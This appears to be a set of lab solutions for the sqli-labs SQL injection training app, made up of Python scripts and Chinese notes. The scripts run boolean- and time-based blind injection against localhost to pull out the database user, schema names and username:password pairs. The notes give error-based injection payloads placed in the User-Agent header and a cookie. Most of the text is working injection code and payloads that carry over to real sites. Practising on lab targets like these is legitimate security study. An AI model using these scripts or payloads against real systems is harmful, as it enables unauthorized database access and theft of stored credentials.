#!/usr/bin/env python # -*- coding: utf-8 -*- # @auther : lockcy import requests url = 'http://localhost/sqli-labs/Less-5/?id=1\'' r = requests.Session() result = '' for i in range(1,10): for j in range(37,128): #用户名 #payload=" and ord(mid(user(),{0},1))={1}%23".format(str(i),str(j)) #数据库 #payload = " and ord(mid(database(),{0},1))={1}%23".format(str(i), str(j)) #表名 #payload = " and ord(mid((select table_name from information_schema.tables where table_schema=\'security\' limit 0,1),{0},1))={1}%23".format(str(i),str(j)) #列名 #payload = " and ord(mid((select column_name from information_schema.columns where table_name=\'users\' limit 0,1),{0},1))={1}%23".format(str(i),str(j)) #数据名 payload = " and ord(mid((select group_concat(username,0x3a,password) from users limit 0,1),{0},1))={1}%23".format(str(i),str(j)) payload=url+payload print (payload) html = r.get(payload) if "You are in" in html.text: result += chr(j) print (result) break print (result)
#!/usr/bin/env python # -*- coding: utf-8 -*- # @auther : lockcy import requests import time url = 'http://localhost/sqli-labs/Less-9/?id=1\'' r = requests.Session() result = '' for i in range(1,10): for j in range(37,128): time1=time.time() payload=" and ord(mid(user(),{0},1))={1} and sleep(3)%23".format(str(i),str(j)) #payload = " and ord(mid(database(),{0},1))={1} and sleep(3)%23 ".format(str(i), str(j)) #payload = " and ord(mid((select table_name from information_schema.tables where table_schema=\'security\' limit 0,1),{0},1))={1} and sleep(3)%23".format(str(i),str(j)) #payload = " and ord(mid(( # select column_name from information_schema.columns where table_name=\'users\' limit 0,1),{0},1))={1} and sleep(3)%23".format(str(i),str(j)) #payload = " and ord(mid((select group_concat(username,0x3a,password) from users limit 0,1),{0},1))={1} and sleep(3)%23".format(str(i),str(j)) payload=url+payload print (payload) html = r.get(payload,timeout=5) time2=time.time() if time2-time1>3: result += chr(j) print (result) break print (result)
#!/usr/bin/env python # -*- coding: utf-8 -*- # @auther : lockcy import requests import time url = 'http://localhost/sqli-labs/Less-17/' r = requests.Session() result = '' for i in range(1,10): for j in range(110,128): time1=time.time() payload='1\' where username=\'admin\' and if(ascii(substr(user(),{0},1))={1},sleep(4),1)%23'.format(str(i),str(j)) print (payload) data={'username':'admin','password':payload} html = r.post(url=url,data=data,timeout=20) time2=time.time() if time2-time1>3: result += chr(j) print (result) break print (result)
Less18 Password 和username都有过滤,没法注入,又insert了ip agent,所以考虑在user-agent头报错注入 User-agent : 1’ or updatexml(1,concat(‘#’,(database())),0),’,’)#
Less20 cookies注入,注入点在$sql=”SELECT * FROM users WHERE username=’$cookee’ LIMIT 0,1”; 成功登陆后修改cookies Cookie: uname=admin’ and extractvalue(1,concat(0x3a,(select database()),0x3a))#;